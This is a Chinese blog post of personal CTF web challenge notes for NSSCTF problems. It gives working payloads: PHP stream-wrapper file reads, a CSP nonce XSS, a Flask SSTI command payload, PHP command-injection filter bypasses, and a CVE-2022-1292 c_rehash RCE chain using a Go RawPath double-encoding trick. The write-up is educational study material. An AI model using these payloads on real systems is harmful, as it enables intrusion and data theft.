huarun's Blog

2601做题笔'记

CTF Web 方向题目

2601做题笔'记

一月份找了点web题做。其中大部分都来自 NSSCTF 的每日一题。

还没搞清楚的问题

  • 01 没搞懂discord咋玩
  • 13 图片隐写。在图片中实现一个二维图灵机? IDA反编译后的代码啃不下来。
  • 21 c_rehash 这个脚本,以及 CVE-2022-1292 (OpenSSL RCE 漏洞)

01 [SDCTF 2022]HuMongous Mistake

尝试用 admin 创建账户,发现用户已存在。

做这道题之前甚至需要加入一个 discord 群组。我的是:

NSSCTF-SDCTF-2022#7551

sdctf-2022/web/medium - humongous mistake at main · acmucsd/sdctf-2022

感觉这道题过时了?看官方wp好像是利用 discord 的 Two-Factor Authentication 不会进行用户检测的漏洞。但是现在 Discord 已经升级成 Multi-Factor Authentication 了,不知道还管不管用。

02 [SWPUCTF 2021 新生赛] PseudoProtocols

Task 1

hint is hear Can you find out the hint.php?

php伪协议,使用base64编码回显文件内容:

?wllm=php://filter/read=convert.base64-encode/resource=hint.php
PD9waHANCi8vZ28gdG8gL3Rlc3QyMjIyMjIyMjIyMjIyLnBocA0KPz4=

解码:

<?php
//go to /test2222222222222.php
?>

Task 2

<?php  
ini_set("max_execution_time", "180");  
show_source(__FILE__);  
include('flag.php');  
$a= $_GET["a"];  
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){  
    echo "success\n";  
    echo $flag;  
}  
?>

payload:

PHP: data:// - Manual

数据流封装器。

http://node7.anna.nssctf.cn:29990/test2222222222222.php?a=data://text/plain,I want flag

03 [NSSRound#12 Basic]ability

使用 SSH 连接到服务器

ssh -l ctf -p 25545 node4.anna.nssctf.cn

使用 getcap (get capabilities) 递归查找 (-r, recursive) 出在根目录 / 下的文件的能力(capabilities) ,并将错误信息 (2) 放入 /dev/null 中(可以理解为忽略报错)。

getcap -r / 2>/dev/null

查找到 /usr/bin/ 目录下的 dig 文件拥有 cap_dac_override 权限

/usr/bin/dig cap_dac_override=ep

DAC (Discretionary Access Control) 自主访问控制,该功能会对文件的 rwx 等权限和文件的所有者进行检查。

该文件能够绕过 DAC,非常的逆天!也印证了题目里那句话:

能力越大,越危险

总之,现在可以利用这个超高权限的文件来读取flag了。

dig -f flag

Everything is a file in Linux

usr/bin/ 目录下的文件,包含了 Linux 的许多常用命令。其实,在 Shell 输入的每个命令都是一个二进制可执行文件

dig : Domain Information Groper ,向 DNS 服务器查询指定的信息。

虽然 flag 文件中的内容不是域名,但可以通过 dig 的报错回显 flag 的内容。

04 [AFCTF 2021]BABY_CSP

URL 中可以传入 school 参数,传入 XSS,console 会报错

http://node4.anna.nssctf.cn:22548/?school=<script>alert(1)</script>
Executing inline script violates the following Content Security Policy directive 'script-src 'nonce-29de6fde0db5686d''. Either the 'unsafe-inline' keyword, a hash ('sha256-bhHHL3z2vDgxUt0W3dWQOrprscmda2Y5pLsLg4GF+pI='), or a nonce ('nonce-...') is required to enable inline execution. The action has been blocked.

注意到有 nonce (Number used once)。多次刷新页面,发现这个 nonce 是静态的,传参时硬编码即可。

<script nonce=29de6fde0db5686d>

成功弹出 alert。改成 alert(flag) 即可。

http://node4.anna.nssctf.cn:22548/?school=<script nonce=29de6fde0db5686d>alert(1)</script>

这题真是够 baby 的。。。唯一的难点可能就是 alert(flag) 要稍微猜一下。。。

06 [CISCN 2019华东南]Double Secret

这题 NSSCTF 的环境有问题,可以到 BUUCTF 上做同样的题目: BUUCTF在线评测

用 dirsearch 扫描目录,发现有 robots.txt/secret 可访问。

robots.txt 中有提示:

It is Android ctf

/secret 目录下写着:

Tell me your secret.I will encrypt it so others can't see

传入参数 secret为一个很大的整数,会报错,发现用了 Flask,并且有代码可以展开。

http://node4.anna.nssctf.cn:21932/secret?secret=129000000000000000

发现使用了 RC4 加密算法,且秘钥为 HereIsTreasure

在 CyberChef 中进行 RC4 加密,Passphrase 设定为 HereIsTreasure,然后尝试 SSTI

因为这道题目标签中有 SSTI,而且前面发现用了 Flask,故猜测是模板注入。 但在实战中没有这么明显的提示,只能靠经验和脑洞去猜了。

记得勤复习哦 SSTI 注入 - Hello CTF

payload(RC4 加密 + URL 编码即可)

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /f*').read() }}

07 [GKCTF 2021]CheckBot

页面源代码中有提示:

<!--
I am a check admin bot, I will check your URL file suffix!
------------------------------------------------------------
POST url for bot!
-->

访问 admin.php 得到:

no!you are 58.248.162.154

CSRF - CTF Wiki

这个题涉及的知识盲区有点多了,先放放。参考资料:

[GKCTF 2021]CheckBot | 北歌 BUUCTF Web Writeup 7 - Boogiepop Doesn't Laugh

相关搜索:

VPS frp内网穿透 反弹shell web服务 xss python的http.server nc reqbin

再看看 ADCTF2024 web 也有一道相关题目

08 [第五空间 2021]WebFTP

dirsearch一下,发现一堆泄露。进入/README.md ,发现有初始账号

超级管理员 admin 密码 admin888

2011年的web应用居然这么没有安全意识吗。。。

这个题也是够sb,flag直接放在phpinfo.php里面(环境变量)。

12 [WUSTCTF 2020]朴实无华

做任何 Web 题都要先流量分析,养成好习惯。

多一点耐心,慢慢看每一个请求头和请求体;这道题找半天也没找到 /fAke_f1agggg.php 的提示,看了wp才知道藏在headers中。

level1 - PHP 的字符串类型转换特性

intval() - Get the integer value of a variable 该函数在处理字符串时:从左到右处理读取,直到遇到第一个非数字字符。

然而,在字符串和整数的算术运算中:

$string = "3e3";
$a = $string + 1;
echo $a;

最终输出 $a 为 3001。说明php可以识别字符串中的科学计数法

level2 - hash 之后和原来一样?

要满足:

if ($md5==md5($md5))

存在:

0e215962017

它的 md5 值是:

0e291242476940776845150308577824

足以绕过 PHP 的弱比较。

getflag

strstr() : Find the first occurrence of a string.

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}

过滤了 cat 、空格 和 wctf2020. 空格用 ${IFS} 绕过即可。既然用不了cat,我们可以用tac,反过来输出文件内容啊。

最终payload:

http://node5.anna.nssctf.cn:28758/fl4g.php?num=3e3&md5=0e215962017&get_flag=tac${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

13 [GoogleCTF 2017 final]Picasso

确实是 Final 该有的难度。

首先用 IDA 反编译,可以得到 main() 函数的内容

我操了,怎么这么难啊。网上一篇wp都找不到。

19 [suctf 2019]easyweb

<?php  
function get_the_flag(){    // webadmin will remove your upload file every 20 min!!!!     $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);  
    if(!file_exists($userdir)){    mkdir($userdir);  
    }  
    if(!empty($_FILES["file"])){        $tmp_name = $_FILES["file"]["tmp_name"];        $name = $_FILES["file"]["name"];        $extension = substr($name, strrpos($name,".")+1);  
    if(preg_match("/ph/i",$extension)) die("^_^");   
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");  
    if(!exif_imagetype($tmp_name)) die("^_^");         $path= $userdir."/".$name;  
        @move_uploaded_file($tmp_name, $path);        print_r($path);  
    }  
}  
  
$hhh = @$_GET['_'];  
  
if (!$hhh){    highlight_file(__FILE__);  
}  
  
if(strlen($hhh)>18){  
    die('One inch long, one inch strong!');  
}  
  
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )  
    die('Try something else!');  
  
$character_type = count_chars($hhh, 3);  
if(strlen($character_type)>12) die("Almost there!");  
  
eval($hhh);  
?>

未被过滤的字符有:

!#$%()*+-/:;<>?@\]^{}

21 [CISCN 2022 初赛]online_crt

Secure Sockets Layer (SSL)

安全套接层 是一种安全协议,又称 TLS (Transport Layer Security, 传输层安全协议)

源码

NSS上的这篇wp很好:文章 - [CISCN 2022 初赛]online_crt stoocea的WriteUp | NSSCTF

本题涉及的漏洞是 CVE-2022-1292 CVE-2022-1292的分析-先知社区

下面写了我自己的理解。

app.py

import datetime
import json
import os
import socket
import uuid
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID
from flask import Flask
from flask import render_template
from flask import request

app = Flask(__name__)

app.config['SECRET_KEY'] = os.urandom(16)

def get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress):
    root_key = rsa.generate_private_key(
        public_exponent=65537,
        key_size=2048,
        backend=default_backend()
    )
    subject = issuer = x509.Name([
        x509.NameAttribute(NameOID.COUNTRY_NAME, Country),
        x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, Province),
        x509.NameAttribute(NameOID.LOCALITY_NAME, City),
        x509.NameAttribute(NameOID.ORGANIZATION_NAME, OrganizationalName),
        x509.NameAttribute(NameOID.COMMON_NAME, CommonName),
        x509.NameAttribute(NameOID.EMAIL_ADDRESS, EmailAddress),
    ])
    root_cert = x509.CertificateBuilder().subject_name(
        subject
    ).issuer_name(
        issuer
    ).public_key(
        root_key.public_key()
    ).serial_number(
        x509.random_serial_number()
    ).not_valid_before(
        datetime.datetime.utcnow()
    ).not_valid_after(
        datetime.datetime.utcnow() + datetime.timedelta(days=3650)
    ).sign(root_key, hashes.SHA256(), default_backend())
    crt_name = "static/crt/" + str(uuid.uuid4()) + ".crt"
    with open(crt_name, "wb") as f:
        f.write(root_cert.public_bytes(serialization.Encoding.PEM))
    return crt_name

# route 即 路由;我先理解为一个目录对应一个route
@app.route('/', methods=['GET', 'POST'])
def index():
    return render_template("index.html")

# 规定了表单中信息的默认值 - CN a a a a a
# 配合 get_crt() 函数生成 x509 证书。
@app.route('/getcrt', methods=['GET', 'POST'])
def upload():
    Country = request.form.get("Country", "CN")
    Province = request.form.get("Province", "a")
    City = request.form.get("City", "a")
    OrganizationalName = request.form.get("OrganizationalName", "a")
    CommonName = request.form.get("CommonName", "a")
    EmailAddress = request.form.get("EmailAddress", "a")
    return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress)


@app.route('/createlink', methods=['GET'])
def info():
    json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}
    return json.dumps(json_data)


@app.route('/proxy', methods=['GET'])
def proxy():
    uri = request.form.get("uri", "/")
    client = socket.socket()
    # golang运行在8887端口上。这里flask与go代码交互。
    client.connect(('localhost', 8887))
    # 这里手动拼接了一个原始的 HTTP request
    # 注入点应该在 uri
    msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

'''
    # 默认使用 utf8 编码。不重要。
    client.send(msg.encode())
    data = client.recv(2048)
    client.close()
    return data.decode()

app.run(host="0.0.0.0", port=8888)

main.go

package main

import (
    "github.com/gin-gonic/gin"
    "os"
    "strings"
)

func admin(c *gin.Context) {
    staticPath := "/app/static/crt/"
    oldname := c.DefaultQuery("oldname", "")
    newname := c.DefaultQuery("newname", "")
    if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {
        c.String(500, "error")
        return
    }
    if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
        err := os.Rename(staticPath+oldname, staticPath+newname)
        if err != nil {
            return
        }
        c.String(200, newname)
        return
    }
    c.String(200, "no")
}

func index(c *gin.Context) {
    c.String(200, "hello world")
}

func main() {
    router := gin.Default()
    router.GET("/", index)
    router.GET("/admin/rename", admin)

    if err := router.Run(":8887"); err != nil {
        panic(err)
    }
}

在这个环境中,go服务运行在8887端口,python服务运行在8888端口。

Golang

为了研究 golang 的一些语言特性,我需要在 vscode 中简单的配置环境。

在 golang 官网下载msi安装器后,golang 的 bin 会被自动添加到环境 PATH 中。

初始化项目:

go mod init helloworld
type go.mod

编译并运行:

go run main.go

为当前项目安装 gin 库:

go get github.com/gin-gonic/gin

解题

随便填入信息后,系统会提示我们生成了一个crt证书:

static/crt/afa18e05-40cb-4ca3-9c12-55daf5b73944.crt

我们要做的就是把该证书重命名为一段shell命令,来实现 RCE。

c_rehash

这是一段perl脚本。由于我对perl一无所知,对shell也不熟悉。在这里就不瞎分析了。

RawPath

url package - net/url - Go Packages golang 的标准库 net/url 包中的 URL 结构体有一个 RawPath 字段:

type URL struct {
    ... // 其他内容
    RawPath string // encoded path hint (see EscapedPath method)
    ... // 其他内容
}

对于一个路径 Path,标准库的 URL 解析保留了两个字段:

  • 经过一次 URL 解码的路径 Path
  • 原始路径 RawPath

只有当 经过一次解码后的 URL原始 URL 不同时,RawPath 才会被设置。

下面我在本地环境中的测试也证实了这一点(①传入的 URL 经过了一次编码,②经过了两次编码):

注意:只要用 Go 标准库进行 Web 开发,RawPath 的这个特性就会存在。 此处因为题目中涉及 gin 框架,故使用了 gin 来复现。

修改文件名绕过

再来看代码中的:

    if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
        err := os.Rename(staticPath+oldname, staticPath+newname)
        if err != nil {
            return
        }
        c.String(200, newname)
        return
    }

要求 RawPath 为空。要满足此要求,只需 将 URL 进行两次编码 再传入即可。

Payload

用 Python 脚本来生成 payload(脚本来自 stoocea,就是 NSS 上写题解的那位)

import urllib.parse

uri = '''/admin%2frename?oldname=afa18e05-40cb-4ca3-9c12-55daf5b73944.crt&newname=`echo%20Y2F0IC8qIA==|base64%20--decode|bash>flag.txt`.crt HTTP/1.1
Host: admin
'''
gopher = uri.replace("\n","\r\n")
payload = urllib.parse.quote(gopher)
print(payload)

payload:

/admin%252frename%3Foldname%3Dafa18e05-40cb-4ca3-9c12-55daf5b73944.crt%26newname%3D%60echo%2520Y2F0IC8qIA%3D%3D%7Cbase64%2520--decode%7Cbash%3Eflag.txt%60.crt%20HTTP/1.1%0D%0AHost%3A%20admin%0D%0A

之后再访问 /createlink route,执行 c_rehash 命令,就可以触发我们的 RCE。

网站禁止 POST 请求?

访问 /proxy route 时,需要用 POST 方法传入 uri 参数。但是题目环境似乎禁止了直接使用 POST 方法。

只需要在burpsuite中拦截请求后,更改请求方式为 POST,再手动把报文的 POST 改成 GET 就可以啦。

修改之后的 request 和 response 分别是这样:

Flag

最终访问 /static/crt/flag.txt 获取所执行命令的输出,发现里面就有 flag:

这道题的漏洞核心还是在 c_rehash 这个 perl 脚本上。有空一定要再来研究。

22 [SWPUCTF 2021 新生赛]nc签到

简单的RCE。附件中有源代码:

blacklist = ['cat','ls',' ','cd','echo','<','${IFS}']

while True:
    command = input()
    for i in blacklist:
        if i in command:
            exit(0)
    os.system(command)

绕过黑名单即可。payload是:

dir # 显示当前目录的所有文件,发现有flag
tac$IFS$9flag # 使用 $IFS$9 代替空格;tac就是cat反过来